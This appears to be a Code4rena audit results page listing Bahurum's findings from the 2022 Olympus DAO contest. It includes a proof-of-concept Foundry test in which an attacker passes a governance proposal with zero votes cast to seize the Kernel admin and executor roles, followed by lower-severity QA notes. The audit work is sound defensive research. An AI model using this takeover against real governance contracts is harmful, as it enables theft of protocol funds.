Olympus DAO contest - Bahurum's results

Version 3 of Olympus protocol, a decentralized floating currency.

General Information

Platform: Code4rena

Start Date: 25/08/2022

Pot Size: $75,000 USDC

Total HM: 35

Participants: 147

Period: 7 days

Judge: 0xean

Total Solo HM: 15

Id: 156

League: ETH

Olympus DAO

Findings Distribution

Researcher Performance

Rank: 13/147

Findings: 3

Award: $2,048.36

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Bahurum

Also found by: bin2chen, cryptphi

Labels

bug
3 (High Risk)
sponsor acknowledged

Awards

1714.8718 DAI - $1,714.87

External Links

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L164 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L217-L218 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L268

Vulnerability details

Impact

Before any VOTES are minted anyone can activate and execute an arbitrary proposal even with 0 votes cast. So an attacker can pass any proposal (i.e. change the executor + admin of the Kernel, gaining access to all permissioned functions and to funds held).

Proof of Concept

Checks on vote numbers made in Governance.sol at lines L164, 217-218, 268 pass if VOTES.totalSupply() == 0. So, until no VOTES are minted, anyone can submit, activate and execute a proposal. There is no need to own or cast votes. This happens if OlympusGovernance is granted the executor role before any VOTES are minted (as in Governance.t.sol). The attacker can anticipate/frontrun the minting and pass a proposal to change both the Kernel admin and executor. Then he/she can upgrade malicious modules, steal funds from treasury...

A PoC was obtained modifying the setUp() of Governance.t.sol by keeping only what is before the minting of VOTES (up to L83 included). The test is as follows:

    function test_AttackerPassesProposalBeforeMinting() public {

        address[] memory users = userCreator.create(1);
        address attacker = users[0];
        vm.prank(attacker);
        MockMalicious attackerControlledContract = new MockMalicious();

        Instruction[] memory instructions_ = new Instruction[](2);
        instructions_[0] = Instruction(Actions.ChangeAdmin, address(attackerControlledContract));
        instructions_[1] = Instruction(Actions.ChangeExecutor, address(attackerControlledContract));

        vm.prank(attacker);
        governance.submitProposal(instructions_, "proposalName", "This is the proposal URI");
        
        governance.endorseProposal(1);
        
        vm.prank(attacker);
        governance.activateProposal(1);
        
        vm.warp(block.timestamp + 3 days + 1);
        
        governance.executeProposal();

        assert(kernel.executor()==address(attackerControlledContract));
        assert(kernel.admin()==address(attackerControlledContract));


    }

with

contract MockMalicious {}

In Governance.sol check for a minimum VOTES totalSupply, similiar to the expected initial supply of VOTES when they have been fairly distributed, for example at line L164.

#0 - 0xean

2022-09-16T23:07:10Z

Leaving as High severity as this shows a clear path to loss of funds.

#1 - Wanan098

2023-03-29T16:58:44Z

This is very serious problem. If there is only one hole in project, it will be serious.

Findings Information

🌟 Selected for report: rbserver

Also found by: 0x1f8b, Bahurum, csanuragjain, yixxas

Labels

bug
duplicate
2 (Med Risk)
upgraded by judge

Awards

250.0283 DAI - $250.03

External Links

Judge has assessed an item in Issue #496 as Medium risk. The relevant finding follows:

#0 - 0xean

2022-09-22T21:30:50Z

closing as dupe of #239

#1 - 0xean

2022-09-22T21:31:33Z

Upgrade L01 from wardens QA report.

[L-01]: Upgrades to VOTES module can lead to governance vulnerabilities

The comment in VOTES.sol#L10:

/// @dev This is currently a substitute module that stubs gOHM.

means that the VOTES module is temporary and will be replaced by a form of governance token (could be staked gOHM for example). One must be sure before upgrading that the new token does not present a transfer function nor any mechanism or bypass that effectively allows to transfer tokens in between addresses. If the contrary is true, it would lead to a double endorsing issue (possibility to call OlympusGovernance.endorseProposal() a second time after getting the same tokens to a different address). Note that a bypass that allows transfer of tokens without delay could be used by an attacker to get unlimited endorsement power and execute a DoS on the governance by frontrunning calls to activateProposal() with a self-endorsed proposal.

[L-02]: Voting temporarily reduces endorsing power

When calling vote() on the governance, VOTES token are transfered temporarily to the governance contract (Governance.sol#L259), so one must wait before being able to endorse a proposal again.

[L-03]: Missing events for critical changes in system parameters

Change of critical system parameters should come with an event emission to allow for monitoring of potentially dangerous or malicious changes. Occurrencies of this issue are Kernel.sol#L77, Kernel.sol#L127, BondCallback.sol#L190

[L-04]: executor can become also admin

At Kernel.sol#L253 the executor is allowed to become also admin of the Kernel. Consider checking that the admin set is not the executor (and vice versa at Kernel.sol#L251) to avoid full centralization of the system.

[L-05]: Open TODOs

Open TODOs can point to architecture or programming issues that still need to be resolved. Occurrencies at TreasuryCustodian.sol#L51-L56, Operator.sol#L657. All issues raised in TODOs should be addressed before deployment.

[NC-01]: Missing/Incomplete/Incorrect Natspec comments:

Consider adding missing Natspec comments according to the relevant section in the solidity docs.

[NC-02]: Redundant code:

At Governance.sol#L223 and Governance.sol#L306 use of bool == true is equivalent to just bool.

[NC-03]: Use custom error when netVotes should underflow

In QA.md#L82 check that yesVotesForProposal[activeProposal.proposalId] > noVotesForProposal[activeProposal.proposalId] before subtracting and revert with custom error NotEnoughVotesToExecute if not. This avoids to have a Panic error due to underflow in case netVotes should underflow.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter